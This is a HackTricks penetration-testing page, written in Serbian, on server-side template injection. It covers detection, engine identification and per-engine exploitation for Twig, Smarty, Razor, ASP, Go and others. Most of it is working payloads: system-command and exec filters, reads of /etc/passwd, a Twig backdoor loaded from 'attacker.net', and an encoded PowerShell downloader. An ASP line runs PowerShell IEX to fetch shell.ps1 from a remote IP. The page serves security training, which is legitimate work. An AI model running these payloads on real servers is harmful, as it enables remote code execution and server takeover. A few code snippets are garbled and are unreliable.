# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
## Šta je SSTI (Server-Side Template Injection)
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja.
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:
```python
output = template.render(name=request.args.get('name'))
```
U ovom ranjivom kodu, `name` parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći `render` funkciju. Ovo može potencijalno omogućiti napadaču da ubaci zlonamerni kod u `name` parametar, što dovodi do server-side template injection.
Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše template engine-om, potencijalno stičući kontrolu nad serverom.
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da su korisnički unosi pravilno sanitizovani i validirani pre nego što budu ubačeni u template. Implementacija validacije unosa i korišćenje tehnika eskapiranja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
### Detekcija
Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
- Izbačene greške, koje otkrivaju ranjivost i potencijalno template engine.
- Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr. `{{7*7}}`, `${7*7}`).
- **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
#### Faza identifikacije
Identifikacija template engine-a uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a.
#### Identifikacija putem payload-a
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**Više informacija**
- U Smarty sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
- `{{7*'7'}} = 49`
- `{{1/0}} = Greška`
- `{{foobar}} Ništa`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Format šablona**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Više informacija**
- U Twig i Twig (Sandboxed) sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Plates je engine za templating koji je nativan za PHP, inspirisan Twig-om. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi nativni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Šablon stranice:
```php
layout('template', ['title' => 'User Profile']) ?>
User Profile
Hello, =$this->e($name)?>
```
Šablon rasporeda:
```html
=$this->e($title)?>
=$this->section('content')?>
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
### PHPlib i HTML_Template_PHPLIB (PHP)
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovan na Pear.
`authors.tpl`
```html
{PAGE_TITLE}
Authors
Name
Email
{NUM_AUTHORS}
{AUTHOR_NAME}
{AUTHOR_EMAIL}
```
`authors.php`
```php
'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
### Ostali PHP
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
- `@(2+2) <= Success`
- `@() <= Success`
- `@("{{code}}") <= Success`
- `@ <=Success`
- `@{} <= ERROR!`
- `@{ <= ERRROR!`
- `@(1+2)`
- `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje bilo kog procesa na serveru i tako kreirati webshell. Možete pronaći primer ranjive web aplikacije na [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Više informacija**
- [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/]()
- [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = Ništa
- `<%= response.write(date()) %>` = \
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Više informacija**
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### Mojolicious (Perl)
Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### SSTI u GO
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
**XSS Eksploatacija**
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{""}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Eksploatacija**
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se eksploatisati kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Više informacija**
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Više Eksploatacija
Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
## Povezana Pomoć
Ako mislite da bi moglo biti korisno, pročitajte:
- [Flask trikovi](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magične funkcije](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
## Alati
- [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
- [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Lista za Detekciju Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## Vežba & Reference
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
- [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
{{#include ../../banners/hacktricks-training.md}}